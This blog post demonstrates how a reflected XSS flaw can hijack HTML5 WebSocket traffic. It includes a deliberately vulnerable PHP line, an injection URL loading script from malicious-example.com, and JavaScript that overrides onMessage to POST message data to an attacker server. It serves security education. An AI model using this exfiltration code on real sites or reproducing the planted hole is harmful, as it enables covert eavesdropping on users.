Compromising HTML5 WebSockets with an XSS vulnerability

4 minute read
March 17, 2013

Last autumn I wrote a security analysis of HTML5 WebSockets for university course. In my analysis I suggested that with a cross-site scripting (XSS) vulnerability, attacker may be able to compromise WebSocket connection. So here is a proof-of-concept.

At very first, I need to say that I do not encourage anyone to any illegal acts. The following example is a proof-of-concept, meant to illustrate attack against HTML5 WebSockets – not a ready-made exploit. For any experimental testing I recommend to use only a safe and closed environment, preferably a local virtual machine or a private server.

Let’s get started

At first, we implement a simple web page that utilizes WebSockets for real-time client-server communication. I picked up an example code echo test from Websocket.org (slightly shortened version here):

<!DOCTYPE html> 
<meta charset="utf-8" /> 
<title>WebSocket Test</title> 
<script language="javascript" type="text/javascript">
  var wsUri = "wss://echo.websocket.org/"; 
  var output;  
  function init() { 
    output = document.getElementById("output"); 
    testWebSocket(); 
  } 
  function testWebSocket() {
    websocket = new WebSocket(wsUri); 
    websocket.onopen = function(evt) { onOpen(evt) }; 
    websocket.onclose = function(evt) { onClose(evt) }; 
    websocket.onmessage = function(evt) { onMessage(evt) }; 
    websocket.onerror = function(evt) { onError(evt) }; 
  }  
  function onOpen(evt) { 
    writeToScreen("CONNECTED"); doSend("WebSocket rocks"); 
  } 
  function onClose(evt) { writeToScreen("DISCONNECTED"); }  
  function onMessage(evt) { 
    writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>'); 
    websocket.close(); 
  }  
  function onError(evt) { 
    writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data); 
  }  
  function doSend(message) { 
    writeToScreen("SENT: " + message);  websocket.send(message); 
  } 
  function writeToScreen(message) { 
    var pre = document.createElement("p"); 
    pre.style.wordWrap = "break-word"; 
    pre.innerHTML = message; output.appendChild(pre); 
  } 
  window.addEventListener("load", init, false);  
</script>
<h2>WebSocket Test</h2>
<div id="output"></div> 
</html>

Okay, and now let’s add an XSS vulnerability to the page. We save this page as PHP-file and after line 41 we add the following lines:

<?php 
print "Hello, ".$_GET['name'];
?>

This is a typical reflected XSS vulnerability. It is exploitable through HTTP GET -parameter name, by injecting some JavaScript there.

Compromising WebSocket

By exploiting this vulnerability, a third-party attacker is able to eavesdrop, intercept or modify the WebSocket connections initiated from an exploited website. In practice, this is done by overriding the functions doSend(message) and/or onMessage(evt) with custom ones. If the vulnerable website is located at example.com/websocket-xss.php, the attacker constructs for instance following URL:

http://example.com/websocket-xss.php?name=<script src="http://malicious-example.com/websocket-xss.js"></script>

File websocket-xss.js is the one that includes the actual malicious code. It could be something like this:

function onMessage(evt) {
  discloseWebsocketData(evt.data);
  writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>'); 
  websocket.close();
}     
      
function discloseWebsocketData(data) {
  var request = new XMLHttpRequest();
  var url = 'http://malicious-example.com/websocket-eavesdrop.php';
  if(request) {   
    request.open('POST', url, true);
    request.onreadystatechange = function() {};
    request.send(data);
  }                     
}

What happens when the client (browser) receives a WebSocket message from the server, is that onMessage-function written by an attacker is invoked, instead the original one. Hence, the attacker is able to decide what happens: he can either modify the data before displaying it to user, not to display the data at all, or as in this example, send data to third-party server hosted by himself. From the user’s point of view, function onMessage() in our example acts exactly like the legitimate one. Thus, the user does not know, that the connection is being eavesdropped, unless (s)he detects the malicious act by finding the XSS vulnerability, or by monitoring the network traffic.

Finally, the attacker also needs a web service that allows cross-origin HTTP requests. This is not a problem: attacker just writes a website that returns the expected header information. In PHP, service websocket-eavesdrop.php could be something like this:

<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");
print "I got your message: ".file_get_contents("php://input");
?>

Now go and try it out yourself. Example files:

The following HTTP GET request exploits the vulnerability:

http://my-server1/websocket-xss.php?name=<script src="http://my-server2/websocket-xss.js"></script>

A brief analysis

The exploit works “nicely” at least on Firefox 13. It does not work in Google Chrome, since Chrome has an XSS detection tool which detects the vulnerability and prevents the injected code from being executed. However, if the attacker finds a persistent XSS vulnerability, the same attack can be targeted against Chrome users as well.

It is worth noticing that the vulnerability is NOT in the HTML5 WebSockets, or the web browser. In this example, the vulnerability is on the web page. Also, since we are demonstrating using a reflected XSS, successful attack requires that the victim accesses the web page using a certain link. For instance, attacker may spam the vulnerable link to potential victims through e-mail.

Using HTTPS and/or SSL-encrypted WebSocket channel does not solve the problem. SSL/HTTPS has no effect on XSS vulnerabilities. Moreover, injected JavaScript code is executed on victim’s browser, which is an endpoint of the WebSocket. Hence, the attacker is able to access unencrypted WebSocket messages.

WebSockets are not that special case after all. The very same principles can be used in multiple scenarios when it comes to HTML5 and XSS. For instance, the attacker should be able to read WebStorage and use practically any features of HTML5 in the victim’s browser. There is nothing new on this actually, since XSS vulnerabilities have been widely known more than a decade. However, the main point of this article is that the nature of HTML5 and the new features of it open up many new ways to exploit an XSS.

Categories: ,

Updated:

Leave a Comment